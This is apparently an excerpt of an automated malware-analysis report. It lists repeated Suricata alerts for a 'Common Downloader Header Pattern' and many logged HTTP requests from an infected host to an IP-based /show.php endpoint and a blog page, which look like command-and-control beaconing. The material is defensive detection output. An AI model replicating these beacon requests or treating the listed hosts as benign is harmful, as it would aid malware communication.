Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:60346 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51864 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:65421 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:53313 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:64971 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51268 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:59536 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50396 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:59719 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:63531 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:55132 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51155 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:59535 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:59199 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:53660 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49981 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:58773 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:50467 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:57498 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:57568 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:65491 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:62324 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:51179 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:63950 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:57469 -> 107.163.241.204:12354

Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
